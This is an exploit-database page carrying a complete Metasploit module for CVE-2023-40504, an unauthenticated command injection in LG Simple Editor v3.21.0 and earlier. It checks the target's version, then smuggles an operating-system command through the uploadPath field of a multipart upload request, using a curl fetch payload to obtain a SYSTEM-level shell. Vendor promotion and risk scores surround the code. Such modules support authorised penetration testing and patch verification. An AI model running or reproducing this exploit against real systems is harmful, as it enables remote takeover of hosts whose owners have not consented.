Lucene search
K

LG Simple Editor 3.21.0 Command Injection Exploit

🗓️ 15 Aug 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 320 Views

LG Simple Editor 3.21.0 Command Injection Exploit. Unauthenticated Command Injection in LG Simple Editor <= v3.21.0. Remote attacker can inject arbitrary operating system commands executed in the context of NT AUTHORITY\SYSTEM

Related
Code
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LG Simple Editor Command Injection (CVE-2023-40504)',
        'Description' => %q{
          Unauthenticated Command Injection in LG Simple Editor <= v3.21.0.
          The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rgod', # Vulnerability discovery
          'Michael Heinzl' # MSF module
        ],
        'References' => [
          [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1208/'],
          [ 'CVE', '2023-40504']
        ],
        'DisclosureDate' => '2023-08-04',
        'Platform' => 'win',
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch,
              'Payload' => {
                'BadChars' => '\\'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/'])
      ]
    )
  end

  # Determine if the Simple Editor instance runs a vulnerable version
  # copied from lg_simple_editor_rce.rb
  def check
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do')
      }
    )

    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?

    version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', ''))
    return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'
    return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0')

    Exploit::CheckCode::Safe
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Sending command injection...')
    exec_simplerce(cmd)
    print_status('Exploit finished, check thy shell.')
  end

  # Send command injection
  def exec_simplerce(cmd)
    filename = Rex::Text.rand_text_alpha(1..6)
    vprint_status("Using random filename: #{filename}.mp4")
    form = Rex::MIME::Message.new
    form.add_part('/', nil, nil, "form-data; name=\"uploadVideo\"; filename=\"#{filename}.mp4\"")
    form.add_part("/\"&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"')
    form.add_part('1', nil, nil, 'form-data; name="uploadFile_x"')
    form.add_part('1', nil, nil, 'form-data; name="uploadFile_width"')
    form.add_part('1', nil, nil, 'form-data; name="uploadFile_height"')

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadVideo.do'),
        'ctype' => "multipart/form-data; boundary=#{form.bound}",
        'data' => form.to_s
      }
    )
    if res && res.code == 200
      print_good 'Command injection sent.'
    else
      fail_with(Failure::UnexpectedReply, "#{peer}: Unexpected response received.")
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Aug 2024 00:00Current
9.9High risk
Vulners AI Score9.9
CVSS 39.8
EPSS0.91198
SSVC
320